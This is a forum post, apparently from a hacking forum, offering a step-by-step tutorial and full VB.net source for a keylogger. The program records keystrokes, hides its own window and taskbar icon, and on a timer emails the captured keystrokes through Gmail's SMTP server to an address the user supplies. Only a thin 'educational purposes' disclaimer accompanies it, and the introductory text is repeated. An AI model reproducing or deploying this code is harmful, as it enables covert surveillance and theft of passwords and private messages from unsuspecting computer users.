Hello guys,
This is one of my first projects i done with VB.net.
its really simple Keylogger (sending keyloggs)
the code is really simple and it's great way to learn the basics of hacking
Lets start:
- First step is to creat new VB project - Form application with .Net 3.5
- Now we need to add to our form simple Textbox and name it: "txtLog"
Should look like that:Here
- Put 2 timers and name one of them "tmrEmail" and te second one "tmrKey"
-Set the 2 timers like on THIS PICTURE, The "tmrEmail" interval is the time take the keylogger to send an email and the "tmrKey" inteval it's on how much time the keylogger capture key strokes (the time is 60,000=1min)
Now for the code-Double click on the form (form1) and instert this code:(Explaining notes include on the code)
dont forgat put your email on the code PICTURE HERE
That it, Now you can test it by clicking on the Start button and check if you receave all the keylogs to your email.
Hope someone will found this helpfull ,
Feel free to ask any question/PM me for help 🤝
This is one of my first projects i done with VB.net.
its really simple Keylogger (sending keyloggs)
the code is really simple and it's great way to learn the basics of hacking
Lets start:
- First step is to creat new VB project - Form application with .Net 3.5
- Now we need to add to our form simple Textbox and name it: "txtLog"
Should look like that:Here
- Put 2 timers and name one of them "tmrEmail" and te second one "tmrKey"
-Set the 2 timers like on THIS PICTURE, The "tmrEmail" interval is the time take the keylogger to send an email and the "tmrKey" inteval it's on how much time the keylogger capture key strokes (the time is 60,000=1min)
Now for the code-Double click on the form (form1) and instert this code:(Explaining notes include on the code)
dont forgat put your email on the code PICTURE HERE
Code
Option Strict On
Imports System.Net.Mail
'Created by- Momenzy ~HF
'Email sending keylogger in VB.Net
'This program is created for educational purposes only. Any misconduct and potential legal actions
'is placed upon ones' self and I face no liability for your actions
'Created by- Momenzy ~HF
'LS-Shnayder
Class Form1
'Allowing ourselves access to gather keystroke data
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short
Private Sub tmrEmail_Tick(sender As Object, e As EventArgs) Handles tmrEmail.Tick
Try
Dim smtpserver As New SmtpClient
smtpserver.EnableSsl = True
'email,password
smtpserver.Credentials = New Net.NetworkCredential("email", "password")
smtpserver.Port = 587
smtpserver.Host = "smtp.gmail.com"
'Configuring our email message
Dim mail As New MailMessage
mail = New MailMessage
mail.From = New MailAddress("sender email", "sender display name")
mail.To.Add("receiver email")
mail.Subject = ("New Key Log Data")
mail.Body = Txtlogs.Text
smtpserver.Send(mail)
Catch ex As Exception
Me.Close()
End Try
End Sub
'timerKey code
Private Sub tmrKey_Tick(sender As Object, e As EventArgs) Handles tmrKey.Tick
Dim result As Integer
Dim key As String
Dim i As Integer
'For statement to get our keystrokes (each time user click key)
For i = 2 To 90
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
key = Chr(i)
If i = 13 Then key = vbNewLine
Exit For
End If
Next i
'Determining if the user is typing in upper or lower case font
If key <> Nothing Then
'if key = Caps/Shift Hold send the log with Capital letter
If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
Txtlogs.Text &= key
'else letter = lower
Else
Txtlogs.Text &= key.ToLower
End If
End If
'If the user clicks CTRL+ALT+V he turn the visibiity of the program to true (not visible anymore)
If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "V" Then
Me.Visible = True
End If
End Sub
'Send notification if the logger has been stopped (include time)
Private Sub Form1_FormClosed(sender As Object, e As FormClosedEventArgs) Handles Me.FormClosed
Txtlogs.Text &= vbNewLine & "Keylogger has been stopped at: " & Now & vbNewLine
End Sub
'Making our program invisible (invisibale Icon + Taskbar) + Keylogger injection time
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles Me.Load
Me.ShowIcon = False
Me.ShowInTaskbar = False
Me.Visible = False
Txtlogs.Text &= vbNewLine & "Keylogger started at: " & Now & vbNewLine
End Sub
End ClassThat it, Now you can test it by clicking on the Start button and check if you receave all the keylogs to your email.
Hope someone will found this helpfull ,
Feel free to ask any question/PM me for help 🤝
![[Image: iPEsEee.gif?1]](https://i.imgur.com/iPEsEee.gif?1)




